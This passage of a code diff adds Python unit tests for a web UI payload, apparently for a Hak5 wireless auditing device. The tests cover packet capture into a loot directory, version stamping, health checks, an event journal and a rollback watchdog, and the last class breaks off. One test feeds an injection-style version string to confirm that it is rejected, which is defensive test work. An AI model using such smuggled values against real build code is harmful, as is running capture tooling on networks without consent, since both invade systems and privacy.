self.assertEqual(payload['iface'], 'wlan1mon')
|
||||||
|
|
||||||
|
def test_status_without_iface_defaults_when_none_running(self):
|
||||||
|
status, payload = server.h_attacks_capture(ctx({'action': 'status'}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertFalse(payload['running'])
|
||||||
|
self.assertIn(payload['iface'], ('wlan0mon', 'wlan1mon'))
|
||||||
|
|
||||||
|
def test_start_mkdirs_pcap_dir_and_logs_stderr(self):
|
||||||
|
calls = []
|
||||||
|
|
||||||
|
def fake_run(args, timeout=20, input_data=None):
|
||||||
|
calls.append(list(args))
|
||||||
|
if args[:2] == ['sh', '-c'] and 'echo $!' in args[2]:
|
||||||
|
with open('/tmp/mk8_capture_wlan1mon.pid', 'w') as f:
|
||||||
|
f.write(str(os.getpid()))
|
||||||
|
return (0, '', '')
|
||||||
|
|
||||||
|
old_exists = os.path.exists
|
||||||
|
server.device_run = fake_run
|
||||||
|
# /proc does not exist on dev hosts; fake liveness for our own pid.
|
||||||
|
os.path.exists = lambda p: (
|
||||||
|
p.startswith('/proc/') or
|
||||||
|
not p.startswith('/sys/class/net') or p.endswith('wlan1mon'))
|
||||||
|
try:
|
||||||
|
status, payload = server.h_attacks_capture(ctx({
|
||||||
|
'action': 'start', 'iface': 'wlan1mon'}))
|
||||||
|
finally:
|
||||||
|
server.device_run = self.f.device_run
|
||||||
|
os.path.exists = old_exists
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertTrue(payload['running'])
|
||||||
|
self.assertTrue(any(a[:3] == ['mkdir', '-p', '/root/loot/pcap']
|
||||||
|
for a in calls),
|
||||||
|
'capture dir must be created before starting tcpdump')
|
||||||
|
sh_cmd = next(a[2] for a in calls if a[:2] == ['sh', '-c'])
|
||||||
|
self.assertNotIn('/dev/null', sh_cmd)
|
||||||
|
self.assertIn('mk8_capture_wlan1mon.log', sh_cmd)
|
||||||
|
try:
|
||||||
|
os.unlink('/tmp/mk8_capture_wlan1mon.pid')
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|||||||
@@ -0,0 +1,101 @@
|
|||||||
|
"""Tests for scripts/build_common.py version stamping helpers."""
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import shutil
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'scripts'))
|
||||||
|
import build_common
|
||||||
|
|
||||||
|
|
||||||
|
class BuildCommonTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.dir = tempfile.mkdtemp()
|
||||||
|
self.payload = os.path.join(self.dir, 'user', 'remote_access',
|
||||||
|
'pager-webui')
|
||||||
|
os.makedirs(self.payload)
|
||||||
|
with open(os.path.join(self.dir, '_hak5_manifest.json'), 'w') as f:
|
||||||
|
f.write('{"payload": "pager-webui", "version": "1.3.2"}')
|
||||||
|
with open(os.path.join(self.payload, 'payload.sh'), 'w') as f:
|
||||||
|
f.write('#!/bin/bash\n'
|
||||||
|
'# Title: Mark VIII\n'
|
||||||
|
'# Description: test payload\n'
|
||||||
|
'# Version: 1.3.2\n'
|
||||||
|
'# Category: Remote-Access\n'
|
||||||
|
'\n'
|
||||||
|
'echo hi\n')
|
||||||
|
with open(os.path.join(self.payload, 'server.py'), 'w') as f:
|
||||||
|
f.write('"""Mark VIII server."""\n'
|
||||||
|
'import os\n'
|
||||||
|
'\n'
|
||||||
|
'PORT = 8080\n')
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
shutil.rmtree(self.dir, ignore_errors=True)
|
||||||
|
|
||||||
|
def _server_text(self):
|
||||||
|
with open(os.path.join(self.payload, 'server.py')) as f:
|
||||||
|
return f.read()
|
||||||
|
|
||||||
|
def test_stamp_version_updates_all_three_files(self):
|
||||||
|
stamped = sorted(build_common.stamp_version(self.dir, '1.4.0'))
|
||||||
|
expected = sorted([
|
||||||
|
os.path.join(self.dir, '_hak5_manifest.json'),
|
||||||
|
os.path.join(self.payload, 'payload.sh'),
|
||||||
|
os.path.join(self.payload, 'server.py'),
|
||||||
|
])
|
||||||
|
self.assertEqual(stamped, expected)
|
||||||
|
with open(os.path.join(self.dir, '_hak5_manifest.json')) as f:
|
||||||
|
self.assertEqual(json.load(f)['version'], '1.4.0')
|
||||||
|
with open(os.path.join(self.payload, 'payload.sh')) as f:
|
||||||
|
sh_text = f.read()
|
||||||
|
self.assertIn('# Version: 1.4.0', sh_text)
|
||||||
|
self.assertNotIn('# Version: 1.3.2', sh_text)
|
||||||
|
server_text = self._server_text()
|
||||||
|
self.assertIn("SERVER_VERSION = '1.4.0'", server_text)
|
||||||
|
self.assertEqual(server_text.count('SERVER_VERSION'), 1)
|
||||||
|
self.assertLess(server_text.index("SERVER_VERSION = '1.4.0'"),
|
||||||
|
server_text.index('\nimport os'))
|
||||||
|
|
||||||
|
def test_stamp_version_is_idempotent_and_upgrades(self):
|
||||||
|
build_common.stamp_version(self.dir, '1.4.0')
|
||||||
|
stamped = build_common.stamp_version(self.dir, '1.5.0')
|
||||||
|
self.assertEqual(len(stamped), 3)
|
||||||
|
server_text = self._server_text()
|
||||||
|
self.assertEqual(server_text.count('SERVER_VERSION'), 1)
|
||||||
|
self.assertIn("SERVER_VERSION = '1.5.0'", server_text)
|
||||||
|
with open(os.path.join(self.payload, 'payload.sh')) as f:
|
||||||
|
self.assertIn('# Version: 1.5.0', f.read())
|
||||||
|
|
||||||
|
def test_server_without_docstring_gets_top_injection(self):
|
||||||
|
path = os.path.join(self.payload, 'server.py')
|
||||||
|
with open(path, 'w') as f:
|
||||||
|
f.write('# comment header\n'
|
||||||
|
'\n'
|
||||||
|
'import os\n'
|
||||||
|
'PORT = 8080\n')
|
||||||
|
build_common.stamp_version(self.dir, '9.9.9')
|
||||||
|
text = self._server_text()
|
||||||
|
lines = text.splitlines(True)
|
||||||
|
idx = [i for i, l in enumerate(lines) if l.startswith('SERVER_VERSION')]
|
||||||
|
self.assertEqual(len(idx), 1)
|
||||||
|
self.assertLess(idx[0], [i for i, l in enumerate(lines)
|
||||||
|
if l.startswith('import os')][0])
|
||||||
|
|
||||||
|
def test_missing_files_are_tolerated(self):
|
||||||
|
empty = tempfile.mkdtemp()
|
||||||
|
try:
|
||||||
|
self.assertEqual(build_common.stamp_version(empty, '1.4.0'), [])
|
||||||
|
finally:
|
||||||
|
shutil.rmtree(empty, ignore_errors=True)
|
||||||
|
|
||||||
|
def test_invalid_version_is_rejected(self):
|
||||||
|
for bad in ("1.4'; import os", '', 'a' * 64, 'ver x'):
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
build_common.stamp_version(self.dir, bad)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
@@ -69,3 +69,15 @@ class DeviceRunTest(unittest.TestCase):
|
|||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
class DeviceRunInputTest(unittest.TestCase):
|
||||||
|
def test_str_input_data_is_encoded(self):
|
||||||
|
rc, out, err = server.device_run(['cat'], input_data='uci import text')
|
||||||
|
self.assertEqual(rc, 0)
|
||||||
|
self.assertEqual(out, 'uci import text')
|
||||||
|
|
||||||
|
def test_bytes_input_data_passes_through(self):
|
||||||
|
rc, out, err = server.device_run(['cat'], input_data=b'raw')
|
||||||
|
self.assertEqual(rc, 0)
|
||||||
|
self.assertEqual(out, 'raw')
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import unittest
|
import unittest
|
||||||
|
from unittest import mock
|
||||||
|
|
||||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||||
import server
|
import server
|
||||||
@@ -139,5 +140,171 @@ class HealthCheckTest(unittest.TestCase):
|
|||||||
self.assertIn('pool_disabled', payload)
|
self.assertIn('pool_disabled', payload)
|
||||||
|
|
||||||
|
|
||||||
|
class SupervisorExtrasTest(unittest.TestCase):
|
||||||
|
def runTestWith(self): # helper: reuse existing setUp fake_run
|
||||||
|
pass
|
||||||
|
|
||||||
|
def test_mem_percent_math(self):
|
||||||
|
import tempfile
|
||||||
|
content = 'MemTotal: 250000 kB\nMemAvailable: 100000 kB\n'
|
||||||
|
path = tempfile.mktemp()
|
||||||
|
open(path, 'w').write(content)
|
||||||
|
self.assertEqual(server._mem_percent(path), 60)
|
||||||
|
|
||||||
|
def test_health_reparks_resurrected_dummy_sta(self):
|
||||||
|
server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
|
||||||
|
with mock.patch.object(
|
||||||
|
server, '_sta_uplink_enabled', return_value=True), \
|
||||||
|
mock.patch.object(
|
||||||
|
server, '_park_dummy_sta') as park, \
|
||||||
|
mock.patch.object(
|
||||||
|
server, '_raise_monitors', return_value=[]), \
|
||||||
|
mock.patch('mk8_guard.reconcile',
|
||||||
|
return_value={'changed': [], 'pool_cleared': False,
|
||||||
|
'monitors_raised': []}) as rec:
|
||||||
|
h = server.health_check()
|
||||||
|
park.assert_called_once()
|
||||||
|
rec.assert_called_once()
|
||||||
|
self.assertEqual(server._health['ticks'],
|
||||||
|
server.HEALTH_STA_PARK_INTERVAL)
|
||||||
|
# not on interval ticks: no re-park, no reconcile
|
||||||
|
server._health['ticks'] = 1
|
||||||
|
with mock.patch.object(
|
||||||
|
server, '_sta_uplink_enabled', return_value=True), \
|
||||||
|
mock.patch.object(
|
||||||
|
server, '_park_dummy_sta') as park, \
|
||||||
|
mock.patch('mk8_guard.reconcile') as rec:
|
||||||
|
server.health_check()
|
||||||
|
park.assert_not_called()
|
||||||
|
rec.assert_not_called()
|
||||||
|
|
||||||
|
def test_health_reconcile_journals_changed_keys(self):
|
||||||
|
import mk8_events
|
||||||
|
events = []
|
||||||
|
old_log = mk8_events.log_event
|
||||||
|
old_run = server.device_run
|
||||||
|
old_iface = server._iface_up
|
||||||
|
|
||||||
|
def fake_run(args, timeout=20, input_data=None):
|
||||||
|
a = list(args)
|
||||||
|
if a[:2] == ['pidof', 'pineapd']:
|
||||||
|
return (0, '12345\n', '')
|
||||||
|
if a[:2] == ['ip', 'link', 'show']:
|
||||||
|
return (0, '4: wlan0mon: <UP> state unknown', '')
|
||||||
|
return (0, '', '')
|
||||||
|
|
||||||
|
mk8_events.log_event = lambda kind, **kw: events.append((kind, kw))
|
||||||
|
server.device_run = fake_run
|
||||||
|
server._iface_up = lambda name: True
|
||||||
|
old_ticks = server._health.get('ticks')
|
||||||
|
try:
|
||||||
|
server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
|
||||||
|
with mock.patch.object(server, '_sta_uplink_enabled',
|
||||||
|
return_value=False), \
|
||||||
|
mock.patch.object(server, '_raise_monitors',
|
||||||
|
return_value=[]), \
|
||||||
|
mock.patch('mk8_guard.reconcile',
|
||||||
|
return_value={'changed':
|
||||||
|
['pineapd.@pineapd[0].autossidpool'],
|
||||||
|
'pool_cleared': False,
|
||||||
|
'monitors_raised': []}):
|
||||||
|
server.health_check()
|
||||||
|
self.assertTrue(any(k == 'guard_fix' and 'autossidpool' in kw.get('msg', '')
|
||||||
|
for k, kw in events))
|
||||||
|
finally:
|
||||||
|
mk8_events.log_event = old_log
|
||||||
|
server.device_run = old_run
|
||||||
|
server._iface_up = old_iface
|
||||||
|
if old_ticks is None:
|
||||||
|
server._health.pop('ticks', None)
|
||||||
|
else:
|
||||||
|
server._health['ticks'] = old_ticks
|
||||||
|
|
||||||
|
def test_health_reports_events_and_counters(self):
|
||||||
|
import mk8_events
|
||||||
|
mk8_events.log_event('restart', msg='x')
|
||||||
|
status, h = server.h_health(None)
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertIn('events', h)
|
||||||
|
self.assertIn('boots', h['reliability'])
|
||||||
|
|
||||||
|
def test_boot_marker_detects_unexpected(self):
|
||||||
|
import mk8_events, tempfile, os
|
||||||
|
marker = tempfile.mktemp()
|
||||||
|
old = server.BOOT_MARKER
|
||||||
|
server.BOOT_MARKER = marker
|
||||||
|
try:
|
||||||
|
open(marker, 'w').write('0')
|
||||||
|
self.assertTrue(server.check_boot_marker())
|
||||||
|
os.unlink(marker)
|
||||||
|
self.assertFalse(server.check_boot_marker())
|
||||||
|
finally:
|
||||||
|
server.BOOT_MARKER = old
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
unittest.main()
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
class HopBaselineTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.runs = []
|
||||||
|
self.old_run = server.device_run
|
||||||
|
self.old_iface = server._iface_up
|
||||||
|
server._iface_up = lambda name: True
|
||||||
|
|
||||||
|
def fake_run(args, timeout=20, input_data=None):
|
||||||
|
a = list(args)
|
||||||
|
self.runs.append(a)
|
||||||
|
if a[:2] == ['pidof', 'pineapd']:
|
||||||
|
return (0, '123\n', '')
|
||||||
|
if a[:3] == ['uci', 'get', 'pineapd.wlan1mon.hop']:
|
||||||
|
return (0, self.hop + '\n', '')
|
||||||
|
return (0, '', '')
|
||||||
|
|
||||||
|
server.device_run = fake_run
|
||||||
|
self.hop = '0'
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
server.device_run = self.old_run
|
||||||
|
server._iface_up = self.old_iface
|
||||||
|
server._health['ticks'] = 0
|
||||||
|
|
||||||
|
def test_resume_called_when_not_held(self):
|
||||||
|
import unittest.mock as um
|
||||||
|
old_held = server._HOP_PAUSE_HELD
|
||||||
|
server._HOP_PAUSE_HELD = False
|
||||||
|
server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
|
||||||
|
try:
|
||||||
|
with mock.patch.object(server, '_sta_uplink_enabled',
|
||||||
|
return_value=False), \
|
||||||
|
mock.patch.object(server, '_raise_monitors',
|
||||||
|
return_value=[]), \
|
||||||
|
mock.patch('mk8_guard.reconcile',
|
||||||
|
return_value={'changed': [], 'pool_cleared': False,
|
||||||
|
'monitors_raised': []}):
|
||||||
|
server.health_check()
|
||||||
|
sets = [r for r in self.runs
|
||||||
|
if r[:3] == ['uci', 'set', 'pineapd.wlan1mon.hop=1']]
|
||||||
|
self.assertEqual(len(sets), 1)
|
||||||
|
finally:
|
||||||
|
server._HOP_PAUSE_HELD = old_held
|
||||||
|
|
||||||
|
def test_resume_skipped_while_pause_held(self):
|
||||||
|
old_held = server._HOP_PAUSE_HELD
|
||||||
|
server._HOP_PAUSE_HELD = True
|
||||||
|
server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
|
||||||
|
try:
|
||||||
|
with mock.patch.object(server, '_sta_uplink_enabled',
|
||||||
|
return_value=False), \
|
||||||
|
mock.patch.object(server, '_raise_monitors',
|
||||||
|
return_value=[]), \
|
||||||
|
mock.patch('mk8_guard.reconcile',
|
||||||
|
return_value={'changed': [], 'pool_cleared': False,
|
||||||
|
'monitors_raised': []}):
|
||||||
|
server.health_check()
|
||||||
|
sets = [r for r in self.runs
|
||||||
|
if r[:3] == ['uci', 'set', 'pineapd.wlan1mon.hop=1']]
|
||||||
|
self.assertEqual(len(sets), 0)
|
||||||
|
finally:
|
||||||
|
server._HOP_PAUSE_HELD = old_held
|
||||||
|
|||||||
@@ -0,0 +1,90 @@
|
|||||||
|
import json, os, sys, tempfile, unittest
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||||
|
import mk8_events
|
||||||
|
|
||||||
|
class EventsTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.dir = tempfile.mkdtemp()
|
||||||
|
self.old = mk8_events.MK8_DIR
|
||||||
|
mk8_events.MK8_DIR = self.dir
|
||||||
|
mk8_events.EVENTS_PATH = os.path.join(self.dir, 'events.log')
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
mk8_events.MK8_DIR = self.old
|
||||||
|
mk8_events.EVENTS_PATH = os.path.join(self.old, 'events.log')
|
||||||
|
mk8_events.MAX_BYTES = 5 * 1024 * 1024
|
||||||
|
|
||||||
|
def test_log_and_read_newest_first(self):
|
||||||
|
mk8_events.log_event('boot', msg='first')
|
||||||
|
mk8_events.log_event('rollback', sev='warn', msg='second', meta={'op': 'wifi'})
|
||||||
|
rows = mk8_events.read_events()
|
||||||
|
self.assertEqual(rows[0]['kind'], 'rollback')
|
||||||
|
self.assertEqual(rows[1]['kind'], 'boot')
|
||||||
|
self.assertEqual(rows[0]['meta'], {'op': 'wifi'})
|
||||||
|
|
||||||
|
def test_counters(self):
|
||||||
|
mk8_events.log_event('boot'); mk8_events.log_event('rollback')
|
||||||
|
mk8_events.log_event('restart'); mk8_events.log_event('guard_fix')
|
||||||
|
c = mk8_events.counters()
|
||||||
|
self.assertEqual(c['boots'], 1)
|
||||||
|
self.assertEqual(c['rollbacks'], 1)
|
||||||
|
self.assertEqual(c['restarts'], 1)
|
||||||
|
self.assertEqual(c['guard_fixes'], 1)
|
||||||
|
|
||||||
|
def test_snapshot_bounded_and_counts(self):
|
||||||
|
# Deterministic window: 3 restarts (oldest, outside the scan window),
|
||||||
|
# then 40 ticks, then 1 boot LAST so the newest-first window of 30
|
||||||
|
# includes it.
|
||||||
|
for _ in range(3):
|
||||||
|
mk8_events.log_event('restart', msg='old')
|
||||||
|
for i in range(40):
|
||||||
|
mk8_events.log_event('tick', msg='t%d' % i)
|
||||||
|
mk8_events.log_event('boot', msg='final boot')
|
||||||
|
snap = mk8_events.snapshot(event_limit=5, scan=30)
|
||||||
|
self.assertLessEqual(len(snap['events']), 5)
|
||||||
|
ev = snap['events']
|
||||||
|
tss = [r.get('ts', 0) for r in ev]
|
||||||
|
self.assertEqual(tss, sorted(tss, reverse=True), 'must be newest-first')
|
||||||
|
self.assertEqual(ev[0]['kind'], 'boot')
|
||||||
|
rel = snap['reliability']
|
||||||
|
self.assertEqual(rel['boots'], 1,
|
||||||
|
'boot is inside the scanned window')
|
||||||
|
self.assertEqual(rel['restarts'], 0,
|
||||||
|
'counters must cover only the bounded window')
|
||||||
|
self.assertEqual(rel['unexpected_boots'], 0)
|
||||||
|
# Full-journal counters() stays available and unbounded for callers
|
||||||
|
# that want it.
|
||||||
|
self.assertEqual(mk8_events.counters()['restarts'], 3)
|
||||||
|
|
||||||
|
def test_snapshot_spans_rotation(self):
|
||||||
|
mk8_events.MAX_BYTES = 200
|
||||||
|
for i in range(8):
|
||||||
|
mk8_events.log_event('tick', msg='x' * 20)
|
||||||
|
if i == 3:
|
||||||
|
mk8_events.log_event('rollback', sev='warn', msg='mid')
|
||||||
|
rotated = [i for i in range(1, mk8_events.KEEP + 1)
|
||||||
|
if os.path.exists(mk8_events.EVENTS_PATH + '.%d' % i)]
|
||||||
|
self.assertGreaterEqual(len(rotated) + 1, 2,
|
||||||
|
'journal must actually rotate here')
|
||||||
|
snap = mk8_events.snapshot(event_limit=100, scan=1000)
|
||||||
|
# Snapshot must span every rotated generation read_events sees.
|
||||||
|
self.assertEqual(len(snap['events']),
|
||||||
|
len(mk8_events.read_events(limit=1000)))
|
||||||
|
tss = [r.get('ts', 0) for r in snap['events']]
|
||||||
|
self.assertEqual(tss, sorted(tss, reverse=True))
|
||||||
|
kinds = {r['kind'] for r in snap['events']}
|
||||||
|
self.assertEqual(kinds, {'tick', 'rollback'})
|
||||||
|
self.assertEqual(snap['reliability']['rollbacks'], 1)
|
||||||
|
|
||||||
|
def test_rotation_keeps_recent(self):
|
||||||
|
mk8_events.MAX_BYTES = 200
|
||||||
|
for i in range(20):
|
||||||
|
mk8_events.log_event('tick', msg='x' * 30)
|
||||||
|
rows = mk8_events.read_events()
|
||||||
|
self.assertGreater(len(rows), 0)
|
||||||
|
self.assertLessEqual(len(rows), 20)
|
||||||
|
self.assertTrue(os.path.exists(mk8_events.EVENTS_PATH + '.1'))
|
||||||
|
self.assertFalse(os.path.exists(mk8_events.EVENTS_PATH + '.5'))
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
import os, sys, types, unittest
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||||
|
import mk8_gate
|
||||||
|
|
||||||
|
|
||||||
|
class DecisionTest(unittest.TestCase):
|
||||||
|
def tick(self, state):
|
||||||
|
action, new = mk8_gate.watchdog_decision(state)
|
||||||
|
return action, new
|
||||||
|
|
||||||
|
def test_no_action_below_fail_threshold(self):
|
||||||
|
action, s = self.tick({'fails': 5, 'oks': 0, 'tripped': False})
|
||||||
|
self.assertIsNone(action)
|
||||||
|
self.assertFalse(s['tripped'])
|
||||||
|
|
||||||
|
def test_rollback_at_threshold(self):
|
||||||
|
action, s = self.tick({'fails': 6, 'oks': 0, 'tripped': False})
|
||||||
|
self.assertEqual(action, 'rollback')
|
||||||
|
self.assertTrue(s['tripped'])
|
||||||
|
self.assertEqual(s['oks'], 0)
|
||||||
|
|
||||||
|
def test_promote_after_recovery(self):
|
||||||
|
action, s = self.tick({'fails': 6, 'oks': 6, 'tripped': True})
|
||||||
|
self.assertEqual(action, 'promote')
|
||||||
|
|
||||||
|
def test_no_promote_before_recovery_threshold(self):
|
||||||
|
action, s = self.tick({'fails': 6, 'oks': 5, 'tripped': True})
|
||||||
|
self.assertIsNone(action)
|
||||||
|
|
||||||
|
|
||||||
|
class EnterTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.addCleanup(setattr, mk8_gate, 'ENABLED', mk8_gate.ENABLED)
|
||||||
|
self.spawned = []
|
||||||
|
|
||||||
|
def _install_fake_profiles(self):
|
||||||
|
snaps = []
|
||||||
|
fake = types.ModuleType('mk8_profiles')
|
||||||
|
fake.auto_name = lambda op: 'pre-%s-42' % op
|
||||||
|
fake.snapshot = lambda name: (snaps.append(name), True)[1]
|
||||||
|
old = sys.modules.get('mk8_profiles')
|
||||||
|
sys.modules['mk8_profiles'] = fake
|
||||||
|
self.addCleanup(sys.modules.__setitem__, 'mk8_profiles', old)
|
||||||
|
return snaps
|
||||||
|
|
||||||
|
def _capture_popen(self):
|
||||||
|
cmds = []
|
||||||
|
old = mk8_gate.subprocess.Popen
|
||||||
|
mk8_gate.subprocess.Popen = lambda cmd, **kw: cmds.append(cmd)
|
||||||
|
self.addCleanup(setattr, mk8_gate.subprocess, 'Popen', old)
|
||||||
|
return cmds
|
||||||
|
|
||||||
|
def test_enter_disabled_is_noop(self):
|
||||||
|
mk8_gate.ENABLED = False
|
||||||
|
cmds = self._capture_popen()
|
||||||
|
snaps = self._install_fake_profiles()
|
||||||
|
self.assertIsNone(mk8_gate.enter('ap_change'))
|
||||||
|
self.assertEqual(snaps, [])
|
||||||
|
self.assertEqual(cmds, [])
|
||||||
|
|
||||||
|
def test_enter_enabled_snapshots_and_spawns(self):
|
||||||
|
mk8_gate.ENABLED = True
|
||||||
|
cmds = self._capture_popen()
|
||||||
|
snaps = self._install_fake_profiles()
|
||||||
|
name = mk8_gate.enter('attack_deploy')
|
||||||
|
self.assertEqual(name, 'pre-attack_deploy-42')
|
||||||
|
self.assertEqual(snaps, [name])
|
||||||
|
self.assertEqual(len(cmds), 1)
|
||||||
|
self.assertIn('setsid sh', cmds[0])
|
||||||
|
self.assertIn(name, cmds[0])
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,144 @@
|
|||||||
|
import os, sys, unittest
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||||
|
import server
|
||||||
|
import mk8_guard
|
||||||
|
|
||||||
|
HOP_KEY = 'pineapd.wlan1mon.hop'
|
||||||
|
|
||||||
|
class GuardTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.calls = []
|
||||||
|
self.uci = {}
|
||||||
|
self.pool = 0
|
||||||
|
self.mon_up = {'wlan0mon': True, 'wlan1mon': True}
|
||||||
|
self.old_iface_up = server._iface_up
|
||||||
|
self.old_server_device_run = server.device_run
|
||||||
|
self.old_guard_device_run = mk8_guard.device_run
|
||||||
|
server._iface_up = lambda name: self.mon_up.get(name, True)
|
||||||
|
|
||||||
|
def fake_run(args, timeout=20, input_data=None):
|
||||||
|
a = list(args)
|
||||||
|
self.calls.append(a)
|
||||||
|
if a[:2] == ['uci', 'get']:
|
||||||
|
key = a[2]
|
||||||
|
if key == 'pineapd.@ssidpool[0].ssid':
|
||||||
|
return (0, ''.join('s%d\n' % i for i in range(self.pool)), '')
|
||||||
|
return (0, self.uci.get(key, '') + '\n', '')
|
||||||
|
if a[:2] == ['uci', 'set']:
|
||||||
|
k, _, v = a[2].partition('=')
|
||||||
|
self.uci[k] = v
|
||||||
|
if a[:2] == ['uci', 'delete']:
|
||||||
|
self.pool = 0
|
||||||
|
return (0, '', '')
|
||||||
|
mk8_guard.device_run = fake_run
|
||||||
|
server.device_run = fake_run
|
||||||
|
mk8_guard._GR_CACHE['data'] = None
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
server._iface_up = self.old_iface_up
|
||||||
|
server.device_run = self.old_server_device_run
|
||||||
|
mk8_guard.device_run = self.old_guard_device_run
|
||||||
|
mk8_guard._GR_CACHE['data'] = None
|
||||||
|
|
||||||
|
def wanted_count(self):
|
||||||
|
# Safe set minus wlan1mon.hop (rfplan owns hop), plus WANTED_EXTRA.
|
||||||
|
return (len(server.PINEAPD_SAFE_UCI) - 1 +
|
||||||
|
len(mk8_guard.WANTED_EXTRA))
|
||||||
|
|
||||||
|
def test_applies_all_wanted_when_missing(self):
|
||||||
|
self.pool = 0
|
||||||
|
result = mk8_guard.reconcile(clear_pool=False)
|
||||||
|
sets = [c[2] for c in self.calls if c[:2] == ['uci', 'set']]
|
||||||
|
self.assertEqual(len(sets), self.wanted_count())
|
||||||
|
self.assertTrue(result['changed'])
|
||||||
|
self.assertNotIn(HOP_KEY, {c[2].partition('=')[0]
|
||||||
|
for c in self.calls
|
||||||
|
if c[:2] == ['uci', 'set']})
|
||||||
|
|
||||||
|
def test_wanted_excludes_hop(self):
|
||||||
|
wanted = mk8_guard._wanted()
|
||||||
|
self.assertNotIn(HOP_KEY, wanted)
|
||||||
|
self.assertEqual(len(wanted), self.wanted_count())
|
||||||
|
|
||||||
|
def test_clears_large_pool_only(self):
|
||||||
|
self.pool = 25
|
||||||
|
result = mk8_guard.reconcile(clear_pool=True)
|
||||||
|
self.assertTrue(result['pool_cleared'])
|
||||||
|
self.assertIn(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'], self.calls)
|
||||||
|
|
||||||
|
def test_small_pool_untouched(self):
|
||||||
|
self.pool = 5
|
||||||
|
result = mk8_guard.reconcile(clear_pool=True)
|
||||||
|
self.assertFalse(result['pool_cleared'])
|
||||||
|
|
||||||
|
def test_report_ignores_hop_and_caches(self):
|
||||||
|
for key, value in mk8_guard._wanted().items():
|
||||||
|
self.uci[key] = value
|
||||||
|
self.uci[HOP_KEY] = '1' # attack-role baseline; must stay ignored
|
||||||
|
report = mk8_guard.guard_report()
|
||||||
|
self.assertTrue(report['in_sync'], report)
|
||||||
|
gets = [c[2] for c in self.calls if c[:2] == ['uci', 'get']]
|
||||||
|
self.assertNotIn(HOP_KEY, gets)
|
||||||
|
n_after_first = len(self.calls)
|
||||||
|
self.assertIs(mk8_guard.guard_report(), report)
|
||||||
|
self.assertEqual(len(self.calls), n_after_first,
|
||||||
|
'guard_report must serve from cache within TTL')
|
||||||
|
mk8_guard._GR_CACHE['t'] -= mk8_guard.GR_TTL_SECONDS * 2
|
||||||
|
mk8_guard.guard_report()
|
||||||
|
self.assertGreater(len(self.calls), n_after_first)
|
||||||
|
# reconcile mutates live state; it must invalidate the cached report.
|
||||||
|
mk8_guard.guard_report()
|
||||||
|
n_cached = len(self.calls)
|
||||||
|
mk8_guard.reconcile(clear_pool=False)
|
||||||
|
self.assertIsNone(mk8_guard._GR_CACHE['data'])
|
||||||
|
mk8_guard.guard_report()
|
||||||
|
self.assertGreater(len(self.calls), n_cached)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
class SectionRecreateTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.calls = []
|
||||||
|
self.uci = {}
|
||||||
|
self.old_server_run = server.device_run
|
||||||
|
self.old_iface = server._iface_up
|
||||||
|
server._iface_up = lambda name: True
|
||||||
|
|
||||||
|
def fake_run(args, timeout=20, input_data=None):
|
||||||
|
a = list(args)
|
||||||
|
self.calls.append(a)
|
||||||
|
if a[:3] == ['uci', '-q', 'show']:
|
||||||
|
return (1, '', '') # section missing
|
||||||
|
if a[:2] == ['uci', 'get']:
|
||||||
|
got = self.uci.get(a[2])
|
||||||
|
return (0, (got if got is not None else '') + '\n', '')
|
||||||
|
if a[:2] == ['uci', 'set']:
|
||||||
|
k, _, v = a[2].partition('=')
|
||||||
|
self.uci[k] = v
|
||||||
|
return (0, '', '')
|
||||||
|
|
||||||
|
def dual_run(args, timeout=20, input_data=None):
|
||||||
|
# install the same fake for server-side helpers
|
||||||
|
self.__dict__.setdefault('_srv', server)
|
||||||
|
return fake_run(args, timeout=timeout, input_data=input_data)
|
